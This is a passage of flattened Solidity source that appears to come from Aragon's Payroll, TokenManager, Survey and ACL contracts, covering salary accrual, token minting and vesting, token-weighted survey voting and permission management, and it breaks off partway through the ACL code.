uint256 salary = _employee.denominationTokenSalary;
if (_capped) {
// Return max uint if the result overflows
uint256 result = salary * timeDiff;
return (result / timeDiff != salary) ? MAX_UINT256 : result;
} else {
return salary.mul(timeDiff);
}
}
/**
* @dev Get owed payroll period for an employee
* @param _employee Employee struct in storage
* @return Owed time in seconds since the employee's last payroll date
*/
function _getOwedPayrollPeriod(Employee storage _employee) internal view returns (uint256) {
// Get the min of current date and termination date
uint64 date = _isEmployeeActive(_employee) ? getTimestamp64() : _employee.endDate;
// Make sure we don't revert if we try to get the owed salary for an employee whose last
// payroll date is now or in the future
// This can happen either by adding new employees with start dates in the future, to allow
// us to change their salary before their start date, or by terminating an employee and
// paying out their full owed salary
if (date <= _employee.lastPayroll) {
return 0;
}
// Return time diff in seconds, no need to use SafeMath as the underflow was covered by the previous check
return uint256(date - _employee.lastPayroll);
}
/**
* @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well.
* The result will be capped to max uint256 to avoid having an overflow.
* @param _employee Employee struct in storage
* @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary.
*/
function _getTotalOwedCappedSalary(Employee storage _employee) internal view returns (uint256) {
uint256 currentOwedSalary = _getOwedSalarySinceLastPayroll(_employee, true); // cap amount
uint256 totalOwedSalary = currentOwedSalary + _employee.accruedSalary;
if (totalOwedSalary < currentOwedSalary) {
totalOwedSalary = MAX_UINT256;
}
return totalOwedSalary;
}
/**
* @dev Get payment reference for a given payment type
* @param _type Payment type to query the reference of
* @return Payment reference for the given payment type
*/
function _paymentReferenceFor(PaymentType _type) internal pure returns (string memory) {
if (_type == PaymentType.Payroll) {
return "Employee salary";
} else if (_type == PaymentType.Reimbursement) {
return "Employee reimbursement";
} if (_type == PaymentType.Bonus) {
return "Employee bonus";
}
revert(ERROR_INVALID_PAYMENT_TYPE);
}
function _ensurePaymentAmount(uint256 _owedAmount, uint256 _requestedAmount) private pure returns (uint256) {
require(_owedAmount > 0, ERROR_NOTHING_PAID);
require(_owedAmount >= _requestedAmount, ERROR_INVALID_REQUESTED_AMOUNT);
return _requestedAmount > 0 ? _requestedAmount : _owedAmount;
}
}
// File: @aragon/apps-token-manager/contracts/TokenManager.sol
/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
/* solium-disable function-order */
pragma solidity 0.4.24;
contract TokenManager is ITokenController, IForwarder, AragonApp {
using SafeMath for uint256;
bytes32 public constant MINT_ROLE = keccak256("MINT_ROLE");
bytes32 public constant ISSUE_ROLE = keccak256("ISSUE_ROLE");
bytes32 public constant ASSIGN_ROLE = keccak256("ASSIGN_ROLE");
bytes32 public constant REVOKE_VESTINGS_ROLE = keccak256("REVOKE_VESTINGS_ROLE");
bytes32 public constant BURN_ROLE = keccak256("BURN_ROLE");
uint256 public constant MAX_VESTINGS_PER_ADDRESS = 50;
string private constant ERROR_CALLER_NOT_TOKEN = "TM_CALLER_NOT_TOKEN";
string private constant ERROR_NO_VESTING = "TM_NO_VESTING";
string private constant ERROR_TOKEN_CONTROLLER = "TM_TOKEN_CONTROLLER";
string private constant ERROR_MINT_RECEIVER_IS_TM = "TM_MINT_RECEIVER_IS_TM";
string private constant ERROR_VESTING_TO_TM = "TM_VESTING_TO_TM";
string private constant ERROR_TOO_MANY_VESTINGS = "TM_TOO_MANY_VESTINGS";
string private constant ERROR_WRONG_CLIFF_DATE = "TM_WRONG_CLIFF_DATE";
string private constant ERROR_VESTING_NOT_REVOKABLE = "TM_VESTING_NOT_REVOKABLE";
string private constant ERROR_REVOKE_TRANSFER_FROM_REVERTED = "TM_REVOKE_TRANSFER_FROM_REVERTED";
string private constant ERROR_CAN_NOT_FORWARD = "TM_CAN_NOT_FORWARD";
string private constant ERROR_BALANCE_INCREASE_NOT_ALLOWED = "TM_BALANCE_INC_NOT_ALLOWED";
string private constant ERROR_ASSIGN_TRANSFER_FROM_REVERTED = "TM_ASSIGN_TRANSFER_FROM_REVERTED";
struct TokenVesting {
uint256 amount;
uint64 start;
uint64 cliff;
uint64 vesting;
bool revokable;
}
// Note that we COMPLETELY trust this MiniMeToken to not be malicious for proper operation of this contract
MiniMeToken public token;
uint256 public maxAccountTokens;
// We are mimicing an array in the inner mapping, we use a mapping instead to make app upgrade more graceful
mapping (address => mapping (uint256 => TokenVesting)) internal vestings;
mapping (address => uint256) public vestingsLengths;
// Other token specific events can be watched on the token address directly (avoids duplication)
event NewVesting(address indexed receiver, uint256 vestingId, uint256 amount);
event RevokeVesting(address indexed receiver, uint256 vestingId, uint256 nonVestedAmount);
modifier onlyToken() {
require(msg.sender == address(token), ERROR_CALLER_NOT_TOKEN);
_;
}
modifier vestingExists(address _holder, uint256 _vestingId) {
// TODO: it's not checking for gaps that may appear because of deletes in revokeVesting function
require(_vestingId < vestingsLengths[_holder], ERROR_NO_VESTING);
_;
}
/**
* @notice Initialize Token Manager for `_token.symbol(): string`, whose tokens are `transferable ? 'not' : ''` transferable`_maxAccountTokens > 0 ? ' and limited to a maximum of ' + @tokenAmount(_token, _maxAccountTokens, false) + ' per account' : ''`
* @param _token MiniMeToken address for the managed token (Token Manager instance must be already set as the token controller)
* @param _transferable whether the token can be transferred by holders
* @param _maxAccountTokens Maximum amount of tokens an account can have (0 for infinite tokens)
*/
function initialize(
MiniMeToken _token,
bool _transferable,
uint256 _maxAccountTokens
)
external
onlyInit
{
initialized();
require(_token.controller() == address(this), ERROR_TOKEN_CONTROLLER);
token = _token;
maxAccountTokens = _maxAccountTokens == 0 ? uint256(-1) : _maxAccountTokens;
if (token.transfersEnabled() != _transferable) {
token.enableTransfers(_transferable);
}
}
/**
* @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for `_receiver`
* @param _receiver The address receiving the tokens, cannot be the Token Manager itself (use `issue()` instead)
* @param _amount Number of tokens minted
*/
function mint(address _receiver, uint256 _amount) external authP(MINT_ROLE, arr(_receiver, _amount)) {
require(_receiver != address(this), ERROR_MINT_RECEIVER_IS_TM);
_mint(_receiver, _amount);
}
/**
* @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for the Token Manager
* @param _amount Number of tokens minted
*/
function issue(uint256 _amount) external authP(ISSUE_ROLE, arr(_amount)) {
_mint(address(this), _amount);
}
/**
* @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings
* @param _receiver The address receiving the tokens
* @param _amount Number of tokens transferred
*/
function assign(address _receiver, uint256 _amount) external authP(ASSIGN_ROLE, arr(_receiver, _amount)) {
_assign(_receiver, _amount);
}
/**
* @notice Burn `@tokenAmount(self.token(): address, _amount, false)` tokens from `_holder`
* @param _holder Holder of tokens being burned
* @param _amount Number of tokens being burned
*/
function burn(address _holder, uint256 _amount) external authP(BURN_ROLE, arr(_holder, _amount)) {
// minime.destroyTokens() never returns false, only reverts on failure
token.destroyTokens(_holder, _amount);
}
/**
* @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings with a `_revokable : 'revokable' : ''` vesting starting at `@formatDate(_start)`, cliff at `@formatDate(_cliff)` (first portion of tokens transferable), and completed vesting at `@formatDate(_vested)` (all tokens transferable)
* @param _receiver The address receiving the tokens, cannot be Token Manager itself
* @param _amount Number of tokens vested
* @param _start Date the vesting calculations start
* @param _cliff Date when the initial portion of tokens are transferable
* @param _vested Date when all tokens are transferable
* @param _revokable Whether the vesting can be revoked by the Token Manager
*/
function assignVested(
address _receiver,
uint256 _amount,
uint64 _start,
uint64 _cliff,
uint64 _vested,
bool _revokable
)
external
authP(ASSIGN_ROLE, arr(_receiver, _amount))
returns (uint256)
{
require(_receiver != address(this), ERROR_VESTING_TO_TM);
require(vestingsLengths[_receiver] < MAX_VESTINGS_PER_ADDRESS, ERROR_TOO_MANY_VESTINGS);
require(_start <= _cliff && _cliff <= _vested, ERROR_WRONG_CLIFF_DATE);
uint256 vestingId = vestingsLengths[_receiver]++;
vestings[_receiver][vestingId] = TokenVesting(
_amount,
_start,
_cliff,
_vested,
_revokable
);
_assign(_receiver, _amount);
emit NewVesting(_receiver, vestingId, _amount);
return vestingId;
}
/**
* @notice Revoke vesting #`_vestingId` from `_holder`, returning unvested tokens to the Token Manager
* @param _holder Address whose vesting to revoke
* @param _vestingId Numeric id of the vesting
*/
function revokeVesting(address _holder, uint256 _vestingId)
external
authP(REVOKE_VESTINGS_ROLE, arr(_holder))
vestingExists(_holder, _vestingId)
{
TokenVesting storage v = vestings[_holder][_vestingId];
require(v.revokable, ERROR_VESTING_NOT_REVOKABLE);
uint256 nonVested = _calculateNonVestedTokens(
v.amount,
getTimestamp(),
v.start,
v.cliff,
v.vesting
);
// To make vestingIds immutable over time, we just zero out the revoked vesting
// Clearing this out also allows the token transfer back to the Token Manager to succeed
delete vestings[_holder][_vestingId];
// transferFrom always works as controller
// onTransfer hook always allows if transfering to token controller
require(token.transferFrom(_holder, address(this), nonVested), ERROR_REVOKE_TRANSFER_FROM_REVERTED);
emit RevokeVesting(_holder, _vestingId, nonVested);
}
// ITokenController fns
// `onTransfer()`, `onApprove()`, and `proxyPayment()` are callbacks from the MiniMe token
// contract and are only meant to be called through the managed MiniMe token that gets assigned
// during initialization.
/*
* @dev Notifies the controller about a token transfer allowing the controller to decide whether
* to allow it or react if desired (only callable from the token).
* Initialization check is implicitly provided by `onlyToken()`.
* @param _from The origin of the transfer
* @param _to The destination of the transfer
* @param _amount The amount of the transfer
* @return False if the controller does not authorize the transfer
*/
function onTransfer(address _from, address _to, uint256 _amount) external onlyToken returns (bool) {
return _isBalanceIncreaseAllowed(_to, _amount) && _transferableBalance(_from, getTimestamp()) >= _amount;
}
/**
* @dev Notifies the controller about an approval allowing the controller to react if desired
* Initialization check is implicitly provided by `onlyToken()`.
* @return False if the controller does not authorize the approval
*/
function onApprove(address, address, uint) external onlyToken returns (bool) {
return true;
}
/**
* @dev Called when ether is sent to the MiniMe Token contract
* Initialization check is implicitly provided by `onlyToken()`.
* @return True if the ether is accepted, false for it to throw
*/
function proxyPayment(address) external payable onlyToken returns (bool) {
return false;
}
// Forwarding fns
function isForwarder() external pure returns (bool) {
return true;
}
/**
* @notice Execute desired action as a token holder
* @dev IForwarder interface conformance. Forwards any token holder action.
* @param _evmScript Script being executed
*/
function forward(bytes _evmScript) public {
require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
bytes memory input = new bytes(0); // TODO: Consider input for this
// Add the managed token to the blacklist to disallow a token holder from executing actions
// on the token controller's (this contract) behalf
address[] memory blacklist = new address[](1);
blacklist[0] = address(token);
runScript(_evmScript, input, blacklist);
}
function canForward(address _sender, bytes) public view returns (bool) {
return hasInitialized() && token.balanceOf(_sender) > 0;
}
// Getter fns
function getVesting(
address _recipient,
uint256 _vestingId
)
public
view
vestingExists(_recipient, _vestingId)
returns (
uint256 amount,
uint64 start,
uint64 cliff,
uint64 vesting,
bool revokable
)
{
TokenVesting storage tokenVesting = vestings[_recipient][_vestingId];
amount = tokenVesting.amount;
start = tokenVesting.start;
cliff = tokenVesting.cliff;
vesting = tokenVesting.vesting;
revokable = tokenVesting.revokable;
}
function spendableBalanceOf(address _holder) public view isInitialized returns (uint256) {
return _transferableBalance(_holder, getTimestamp());
}
function transferableBalance(address _holder, uint256 _time) public view isInitialized returns (uint256) {
return _transferableBalance(_holder, _time);
}
/**
* @dev Disable recovery escape hatch for own token,
* as the it has the concept of issuing tokens without assigning them
*/
function allowRecoverability(address _token) public view returns (bool) {
return _token != address(token);
}
// Internal fns
function _assign(address _receiver, uint256 _amount) internal {
require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED);
// Must use transferFrom() as transfer() does not give the token controller full control
require(token.transferFrom(address(this), _receiver, _amount), ERROR_ASSIGN_TRANSFER_FROM_REVERTED);
}
function _mint(address _receiver, uint256 _amount) internal {
require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED);
token.generateTokens(_receiver, _amount); // minime.generateTokens() never returns false
}
function _isBalanceIncreaseAllowed(address _receiver, uint256 _inc) internal view returns (bool) {
// Max balance doesn't apply to the token manager itself
if (_receiver == address(this)) {
return true;
}
return token.balanceOf(_receiver).add(_inc) <= maxAccountTokens;
}
/**
* @dev Calculate amount of non-vested tokens at a specifc time
* @param tokens The total amount of tokens vested
* @param time The time at which to check
* @param start The date vesting started
* @param cliff The cliff period
* @param vested The fully vested date
* @return The amount of non-vested tokens of a specific grant
* transferableTokens
* | _/-------- vestedTokens rect
* | _/
* | _/
* | _/
* | _/
* | /
* | .|
* | . |
* | . |
* | . |
* | . |
* | . |
* +===+===========+---------+----------> time
* Start Cliff Vested
*/
function _calculateNonVestedTokens(
uint256 tokens,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vested
)
private
pure
returns (uint256)
{
// Shortcuts for before cliff and after vested cases.
if (time >= vested) {
return 0;
}
if (time < cliff) {
return tokens;
}
// Interpolate all vested tokens.
// As before cliff the shortcut returns 0, we can just calculate a value
// in the vesting rect (as shown in above's figure)
// vestedTokens = tokens * (time - start) / (vested - start)
// In assignVesting we enforce start <= cliff <= vested
// Here we shortcut time >= vested and time < cliff,
// so no division by 0 is possible
uint256 vestedTokens = tokens.mul(time.sub(start)) / vested.sub(start);
// tokens - vestedTokens
return tokens.sub(vestedTokens);
}
function _transferableBalance(address _holder, uint256 _time) internal view returns (uint256) {
uint256 transferable = token.balanceOf(_holder);
// This check is not strictly necessary for the current version of this contract, as
// Token Managers now cannot assign vestings to themselves.
// However, this was a possibility in the past, so in case there were vestings assigned to
// themselves, this will still return the correct value (entire balance, as the Token
// Manager does not have a spending limit on its own balance).
if (_holder != address(this)) {
uint256 vestingsCount = vestingsLengths[_holder];
for (uint256 i = 0; i < vestingsCount; i++) {
TokenVesting storage v = vestings[_holder][i];
uint256 nonTransferable = _calculateNonVestedTokens(
v.amount,
_time,
v.start,
v.cliff,
v.vesting
);
transferable = transferable.sub(nonTransferable);
}
}
return transferable;
}
}
// File: @aragon/apps-survey/contracts/Survey.sol
/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
pragma solidity 0.4.24;
contract Survey is AragonApp {
using SafeMath for uint256;
using SafeMath64 for uint64;
bytes32 public constant CREATE_SURVEYS_ROLE = keccak256("CREATE_SURVEYS_ROLE");
bytes32 public constant MODIFY_PARTICIPATION_ROLE = keccak256("MODIFY_PARTICIPATION_ROLE");
uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18
uint256 public constant ABSTAIN_VOTE = 0;
string private constant ERROR_MIN_PARTICIPATION = "SURVEY_MIN_PARTICIPATION";
string private constant ERROR_NO_SURVEY = "SURVEY_NO_SURVEY";
string private constant ERROR_NO_VOTING_POWER = "SURVEY_NO_VOTING_POWER";
string private constant ERROR_CAN_NOT_VOTE = "SURVEY_CAN_NOT_VOTE";
string private constant ERROR_VOTE_WRONG_INPUT = "SURVEY_VOTE_WRONG_INPUT";
string private constant ERROR_VOTE_WRONG_OPTION = "SURVEY_VOTE_WRONG_OPTION";
string private constant ERROR_NO_STAKE = "SURVEY_NO_STAKE";
string private constant ERROR_OPTIONS_NOT_ORDERED = "SURVEY_OPTIONS_NOT_ORDERED";
string private constant ERROR_NO_OPTION = "SURVEY_NO_OPTION";
struct OptionCast {
uint256 optionId;
uint256 stake;
}
/* Allows for multiple option votes.
* Index 0 is always used for the ABSTAIN_VOTE option, that's calculated automatically by the
* contract.
*/
struct MultiOptionVote {
uint256 optionsCastedLength;
// `castedVotes` simulates an array
// Each OptionCast in `castedVotes` must be ordered by ascending option IDs
mapping (uint256 => OptionCast) castedVotes;
}
struct SurveyStruct {
uint64 startDate;
uint64 snapshotBlock;
uint64 minParticipationPct;
uint256 options;
uint256 votingPower; // total tokens that can cast a vote
uint256 participation; // tokens that casted a vote
// Note that option IDs are from 1 to `options`, due to ABSTAIN_VOTE taking 0
mapping (uint256 => uint256) optionPower; // option ID -> voting power for option
mapping (address => MultiOptionVote) votes; // voter -> options voted, with its stakes
}
MiniMeToken public token;
uint64 public minParticipationPct;
uint64 public surveyTime;
// We are mimicing an array, we use a mapping instead to make app upgrade more graceful
mapping (uint256 => SurveyStruct) internal surveys;
uint256 public surveysLength;
event StartSurvey(uint256 indexed surveyId, address indexed creator, string metadata);
event CastVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 stake, uint256 optionPower);
event ResetVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 previousStake, uint256 optionPower);
event ChangeMinParticipation(uint64 minParticipationPct);
modifier acceptableMinParticipationPct(uint64 _minParticipationPct) {
require(_minParticipationPct > 0 && _minParticipationPct <= PCT_BASE, ERROR_MIN_PARTICIPATION);
_;
}
modifier surveyExists(uint256 _surveyId) {
require(_surveyId < surveysLength, ERROR_NO_SURVEY);
_;
}
/**
* @notice Initialize Survey app with `_token.symbol(): string` for governance, minimum acceptance participation of `@formatPct(_minParticipationPct)`%, and a voting duration of `@transformTime(_surveyTime)`
* @param _token MiniMeToken address that will be used as governance token
* @param _minParticipationPct Percentage of total voting power that must participate in a survey for it to be taken into account (expressed as a 10^18 percentage, (eg 10^16 = 1%, 10^18 = 100%)
* @param _surveyTime Seconds that a survey will be open for token holders to vote
*/
function initialize(
MiniMeToken _token,
uint64 _minParticipationPct,
uint64 _surveyTime
)
external
onlyInit
acceptableMinParticipationPct(_minParticipationPct)
{
initialized();
token = _token;
minParticipationPct = _minParticipationPct;
surveyTime = _surveyTime;
}
/**
* @notice Change minimum acceptance participation to `@formatPct(_minParticipationPct)`%
* @param _minParticipationPct New acceptance participation
*/
function changeMinAcceptParticipationPct(uint64 _minParticipationPct)
external
authP(MODIFY_PARTICIPATION_ROLE, arr(uint256(_minParticipationPct), uint256(minParticipationPct)))
acceptableMinParticipationPct(_minParticipationPct)
{
minParticipationPct = _minParticipationPct;
emit ChangeMinParticipation(_minParticipationPct);
}
/**
* @notice Create a new non-binding survey about "`_metadata`"
* @param _metadata Survey metadata
* @param _options Number of options voters can decide between
* @return surveyId id for newly created survey
*/
function newSurvey(string _metadata, uint256 _options) external auth(CREATE_SURVEYS_ROLE) returns (uint256 surveyId) {
uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block
uint256 votingPower = token.totalSupplyAt(snapshotBlock);
require(votingPower > 0, ERROR_NO_VOTING_POWER);
surveyId = surveysLength++;
SurveyStruct storage survey = surveys[surveyId];
survey.startDate = getTimestamp64();
survey.snapshotBlock = snapshotBlock; // avoid double voting in this very block
survey.minParticipationPct = minParticipationPct;
survey.options = _options;
survey.votingPower = votingPower;
emit StartSurvey(surveyId, msg.sender, _metadata);
}
/**
* @notice Reset previously casted vote in survey #`_surveyId`, if any.
* @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only
* be created via `newSurvey(),` which requires initialization
* @param _surveyId Id for survey
*/
function resetVote(uint256 _surveyId) external surveyExists(_surveyId) {
require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE);
_resetVote(_surveyId);
}
/**
* @notice Vote for multiple options in survey #`_surveyId`.
* @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only
* be created via `newSurvey(),` which requires initialization
* @param _surveyId Id for survey
* @param _optionIds Array with indexes of supported options
* @param _stakes Number of tokens assigned to each option
*/
function voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes)
external
surveyExists(_surveyId)
{
require(_optionIds.length == _stakes.length && _optionIds.length > 0, ERROR_VOTE_WRONG_INPUT);
require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE);
_voteOptions(_surveyId, _optionIds, _stakes);
}
/**
* @notice Vote option #`_optionId` in survey #`_surveyId`.
* @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only
* be created via `newSurvey(),` which requires initialization
* @dev It will use the whole balance.
* @param _surveyId Id for survey
* @param _optionId Index of supported option
*/
function voteOption(uint256 _surveyId, uint256 _optionId) external surveyExists(_surveyId) {
require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE);
SurveyStruct storage survey = surveys[_surveyId];
// This could re-enter, though we can asume the governance token is not maliciuous
uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock);
uint256[] memory options = new uint256[](1);
uint256[] memory stakes = new uint256[](1);
options[0] = _optionId;
stakes[0] = voterStake;
_voteOptions(_surveyId, options, stakes);
}
// Getter fns
function canVote(uint256 _surveyId, address _voter) public view surveyExists(_surveyId) returns (bool) {
SurveyStruct storage survey = surveys[_surveyId];
return _isSurveyOpen(survey) && token.balanceOfAt(_voter, survey.snapshotBlock) > 0;
}
function getSurvey(uint256 _surveyId)
public
view
surveyExists(_surveyId)
returns (
bool open,
uint64 startDate,
uint64 snapshotBlock,
uint64 minParticipation,
uint256 votingPower,
uint256 participation,
uint256 options
)
{
SurveyStruct storage survey = surveys[_surveyId];
open = _isSurveyOpen(survey);
startDate = survey.startDate;
snapshotBlock = survey.snapshotBlock;
minParticipation = survey.minParticipationPct;
votingPower = survey.votingPower;
participation = survey.participation;
options = survey.options;
}
/**
* @dev This is not meant to be used on-chain
*/
/* solium-disable-next-line function-order */
function getVoterState(uint256 _surveyId, address _voter)
external
view
surveyExists(_surveyId)
returns (uint256[] options, uint256[] stakes)
{
MultiOptionVote storage vote = surveys[_surveyId].votes[_voter];
if (vote.optionsCastedLength == 0) {
return (new uint256[](0), new uint256[](0));
}
options = new uint256[](vote.optionsCastedLength + 1);
stakes = new uint256[](vote.optionsCastedLength + 1);
for (uint256 i = 0; i <= vote.optionsCastedLength; i++) {
options[i] = vote.castedVotes[i].optionId;
stakes[i] = vote.castedVotes[i].stake;
}
}
function getOptionPower(uint256 _surveyId, uint256 _optionId) public view surveyExists(_surveyId) returns (uint256) {
SurveyStruct storage survey = surveys[_surveyId];
require(_optionId <= survey.options, ERROR_NO_OPTION);
return survey.optionPower[_optionId];
}
function isParticipationAchieved(uint256 _surveyId) public view surveyExists(_surveyId) returns (bool) {
SurveyStruct storage survey = surveys[_surveyId];
// votingPower is always > 0
uint256 participationPct = survey.participation.mul(PCT_BASE) / survey.votingPower;
return participationPct >= survey.minParticipationPct;
}
// Internal fns
/*
* @dev Assumes the survey exists and that msg.sender can vote
*/
function _resetVote(uint256 _surveyId) internal {
SurveyStruct storage survey = surveys[_surveyId];
MultiOptionVote storage previousVote = survey.votes[msg.sender];
if (previousVote.optionsCastedLength > 0) {
// Voter removes their vote (index 0 is the abstain vote)
for (uint256 i = 1; i <= previousVote.optionsCastedLength; i++) {
OptionCast storage previousOptionCast = previousVote.castedVotes[i];
uint256 previousOptionPower = survey.optionPower[previousOptionCast.optionId];
uint256 currentOptionPower = previousOptionPower.sub(previousOptionCast.stake);
survey.optionPower[previousOptionCast.optionId] = currentOptionPower;
emit ResetVote(_surveyId, msg.sender, previousOptionCast.optionId, previousOptionCast.stake, currentOptionPower);
}
// Compute previously casted votes (i.e. substract non-used tokens from stake)
uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock);
uint256 previousParticipation = voterStake.sub(previousVote.castedVotes[0].stake);
// And remove it from total participation
survey.participation = survey.participation.sub(previousParticipation);
// Reset previously voted options
delete survey.votes[msg.sender];
}
}
/*
* @dev Assumes the survey exists and that msg.sender can vote
*/
function _voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes) internal {
SurveyStruct storage survey = surveys[_surveyId];
MultiOptionVote storage senderVotes = survey.votes[msg.sender];
// Revert previous votes, if any
_resetVote(_surveyId);
uint256 totalVoted = 0;
// Reserve first index for ABSTAIN_VOTE
senderVotes.castedVotes[0] = OptionCast({ optionId: ABSTAIN_VOTE, stake: 0 });
for (uint256 optionIndex = 1; optionIndex <= _optionIds.length; optionIndex++) {
// Voters don't specify that they're abstaining,
// but we still keep track of this by reserving the first index of a survey's votes.
// We subtract 1 from the indexes of the arrays passed in by the voter to account for this.
uint256 optionId = _optionIds[optionIndex - 1];
uint256 stake = _stakes[optionIndex - 1];
require(optionId != ABSTAIN_VOTE && optionId <= survey.options, ERROR_VOTE_WRONG_OPTION);
require(stake > 0, ERROR_NO_STAKE);
// Let's avoid repeating an option by making sure that ascending order is preserved in
// the options array by checking that the current optionId is larger than the last one
// we added
require(senderVotes.castedVotes[optionIndex - 1].optionId < optionId, ERROR_OPTIONS_NOT_ORDERED);
// Register voter amount
senderVotes.castedVotes[optionIndex] = OptionCast({ optionId: optionId, stake: stake });
// Add to total option support
survey.optionPower[optionId] = survey.optionPower[optionId].add(stake);
// Keep track of stake used so far
totalVoted = totalVoted.add(stake);
emit CastVote(_surveyId, msg.sender, optionId, stake, survey.optionPower[optionId]);
}
// Compute and register non used tokens
// Implictly we are doing require(totalVoted <= voterStake) too
// (as stated before, index 0 is for ABSTAIN_VOTE option)
uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock);
senderVotes.castedVotes[0].stake = voterStake.sub(totalVoted);
// Register number of options voted
senderVotes.optionsCastedLength = _optionIds.length;
// Add voter tokens to participation
survey.participation = survey.participation.add(totalVoted);
assert(survey.participation <= survey.votingPower);
}
function _isSurveyOpen(SurveyStruct storage _survey) internal view returns (bool) {
return getTimestamp64() < _survey.startDate.add(surveyTime);
}
}
// File: @aragon/os/contracts/acl/IACLOracle.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IACLOracle {
function canPerform(address who, address where, bytes32 what, uint256[] how) external view returns (bool);
}
// File: @aragon/os/contracts/acl/ACL.sol
pragma solidity 0.4.24;
/* solium-disable function-order */
// Allow public initialize() to be first
contract ACL is IACL, TimeHelpers, AragonApp, ACLHelpers {
/* Hardcoded constants to save gas
bytes32 public constant CREATE_PERMISSIONS_ROLE = keccak256("CREATE_PERMISSIONS_ROLE");
*/
bytes32 public constant CREATE_PERMISSIONS_ROLE = 0x0b719b33c83b8e5d300c521cb8b54ae9bd933996a14bef8c2f4e0285d2d2400a;
enum Op { NONE, EQ, NEQ, GT, LT, GTE, LTE, RET, NOT, AND, OR, XOR, IF_ELSE } // op types
struct Param {
uint8 id;
uint8 op;
uint240 value; // even though value is an uint240 it can store addresses
// in the case of 32 byte hashes losing 2 bytes precision isn't a huge deal
// op and id take less than 1 byte each so it can be kept in 1 sstore
}
uint8 internal constant BLOCK_NUMBER_PARAM_ID = 200;
uint8 internal constant TIMESTAMP_PARAM_ID = 201;
// 202 is unused
uint8 internal constant ORACLE_PARAM_ID = 203;
uint8 internal constant LOGIC_OP_PARAM_ID = 204;
uint8 internal constant PARAM_VALUE_PARAM_ID = 205;
// TODO: Add execution times param type?
/* Hardcoded constant to save gas
bytes32 public constant EMPTY_PARAM_HASH = keccak256(uint256(0));
*/
bytes32 public constant EMPTY_PARAM_HASH = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563;
bytes32 public constant NO_PERMISSION = bytes32(0);
address public constant ANY_ENTITY = address(-1);
address public constant BURN_ENTITY = address(1); // address(0) is already used as "no permission manager"
uint256 internal constant ORACLE_CHECK_GAS = 30000;
string private constant ERROR_AUTH_INIT_KERNEL = "ACL_AUTH_INIT_KERNEL";
string private constant ERROR_AUTH_NO_MANAGER = "ACL_AUTH_NO_MANAGER";
string private constant ERROR_EXISTENT_MANAGER = "ACL_EXISTENT_MANAGER";
// Whether someone has a permission
mapping (bytes32 => bytes32) internal permissions; // permissions hash => params hash
mapping (bytes32 => Param[]) internal permissionParams; // params hash => params
// Who is the manager of a permission
mapping (bytes32 => address) internal permissionManager;
event SetPermission(address indexed entity, address indexed app, bytes32 indexed role, bool allowed);
event SetPermissionParams(address indexed entity, address indexed app, bytes32 indexed role, bytes32 paramsHash);
event ChangePermissionManager(address indexed app, bytes32 indexed role, address indexed manager);
modifier onlyPermissionManager(address _app, bytes32 _role) {
require(msg.sender == getPermissionManager(_app, _role), ERROR_AUTH_NO_MANAGER);
_;
}
modifier noPermissionManager(address _app, bytes32 _role) {
// only allow permission creation (or re-creation) when there is no manager
require(getPermissionManager(_app, _role) == address(0), ERROR_EXISTENT_MANAGER);
_;
}
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
* @notice Initialize an ACL instance and set `_permissionsCreator` as the entity that can create other permissions
* @param _permissionsCreator Entity that will be given permission over createPermission
*/
function initialize(address _permissionsCreator) public onlyInit {
initialized();
require(msg.sender == address(kernel()), ERROR_AUTH_INIT_KERNEL);
_createPermission(_permissionsCreator, this, CREATE_PERMISSIONS_ROLE, _permissionsCreator);
}
/**
* @dev Creates a permission that wasn't previously set and managed.
* If a created permission is removed it is possible to reset it with createPermission.
* This is the **ONLY** way to create permissions and set managers to permissions that don't
* have a manager.
* In terms of the ACL being initialized, this function implicitly protects all the other
* state-changing external functions, as they all require the sender to be a manager.
* @notice Create a new permission granting `_entity` the ability to perform actions requiring `_role` on `_app`, setting `_manager` as the permission's manager
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
* @param _manager Address of the entity that will be able to grant and revoke the permission further.
*/
function createPermission(address _entity, address _app, bytes32 _role, address _manager)
external
auth(CREATE_PERMISSIONS_ROLE)
noPermissionManager(_app, _role)
{
_createPermission(_entity, _app, _role, _manager);
}
/**
* @dev Grants permission if allowed. This requires `msg.sender` to be the permission manager
* @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app`
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
*/
function grantPermission(address _entity, address _app, bytes32 _role)
external
{
grantPermissionP(_entity, _app, _role, new uint256[](0));
}
